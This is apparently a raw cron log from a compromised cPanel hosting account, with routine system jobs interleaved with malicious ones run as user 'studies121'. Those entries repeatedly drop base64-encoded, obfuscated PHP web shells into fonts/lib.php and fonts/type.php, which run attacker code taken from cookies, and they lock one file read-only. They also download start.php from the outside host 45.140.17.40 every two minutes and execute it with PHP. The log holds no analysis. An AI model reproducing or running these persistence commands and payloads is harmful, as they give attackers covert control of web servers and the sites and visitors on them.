Sep  1 15:03:02 ip-184-168-122-23 CROND[11576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:03:02 ip-184-168-122-23 CROND[11575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:03:02 ip-184-168-122-23 CROND[11578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:04:01 ip-184-168-122-23 CROND[11756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:04:01 ip-184-168-122-23 CROND[11758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:04:01 ip-184-168-122-23 CROND[11759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:04:01 ip-184-168-122-23 CROND[11760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:04:01 ip-184-168-122-23 CROND[11761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:05:01 ip-184-168-122-23 CROND[11867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:05:01 ip-184-168-122-23 CROND[11868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:05:01 ip-184-168-122-23 CROND[11869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:05:01 ip-184-168-122-23 CROND[11871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:05:01 ip-184-168-122-23 CROND[11875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:05:01 ip-184-168-122-23 CROND[11873]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 15:05:01 ip-184-168-122-23 CROND[11876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:06:01 ip-184-168-122-23 CROND[11976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:06:01 ip-184-168-122-23 CROND[11978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:06:01 ip-184-168-122-23 CROND[11980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:06:01 ip-184-168-122-23 CROND[11981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:06:01 ip-184-168-122-23 CROND[11979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:07:01 ip-184-168-122-23 CROND[12097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:07:01 ip-184-168-122-23 CROND[12099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:07:01 ip-184-168-122-23 CROND[12100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:07:01 ip-184-168-122-23 CROND[12101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:08:01 ip-184-168-122-23 CROND[12196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:08:01 ip-184-168-122-23 CROND[12198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:08:01 ip-184-168-122-23 CROND[12199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:08:01 ip-184-168-122-23 CROND[12201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:08:01 ip-184-168-122-23 CROND[12200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:09:01 ip-184-168-122-23 CROND[12408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:09:01 ip-184-168-122-23 CROND[12411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:09:01 ip-184-168-122-23 CROND[12410]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 15:09:01 ip-184-168-122-23 CROND[12412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:09:01 ip-184-168-122-23 CROND[12413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:10:01 ip-184-168-122-23 CROND[12522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:10:01 ip-184-168-122-23 CROND[12525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:10:01 ip-184-168-122-23 CROND[12526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:10:01 ip-184-168-122-23 CROND[12527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:10:01 ip-184-168-122-23 CROND[12532]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:10:01 ip-184-168-122-23 CROND[12531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:10:01 ip-184-168-122-23 CROND[12529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:10:01 ip-184-168-122-23 CROND[12528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:11:01 ip-184-168-122-23 CROND[12670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:11:01 ip-184-168-122-23 CROND[12672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:11:01 ip-184-168-122-23 CROND[12673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:11:01 ip-184-168-122-23 CROND[12674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:12:01 ip-184-168-122-23 CROND[12770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:12:01 ip-184-168-122-23 CROND[12771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:12:01 ip-184-168-122-23 CROND[12773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:12:01 ip-184-168-122-23 CROND[12775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:12:01 ip-184-168-122-23 CROND[12776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:13:01 ip-184-168-122-23 CROND[12883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:13:01 ip-184-168-122-23 CROND[12884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:13:01 ip-184-168-122-23 CROND[12885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:13:01 ip-184-168-122-23 CROND[12889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:14:01 ip-184-168-122-23 CROND[13071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:14:01 ip-184-168-122-23 CROND[13074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:14:01 ip-184-168-122-23 CROND[13075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:14:01 ip-184-168-122-23 CROND[13073]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:14:01 ip-184-168-122-23 CROND[13076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:15:01 ip-184-168-122-23 CROND[13189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:15:01 ip-184-168-122-23 CROND[13194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:15:01 ip-184-168-122-23 CROND[13192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
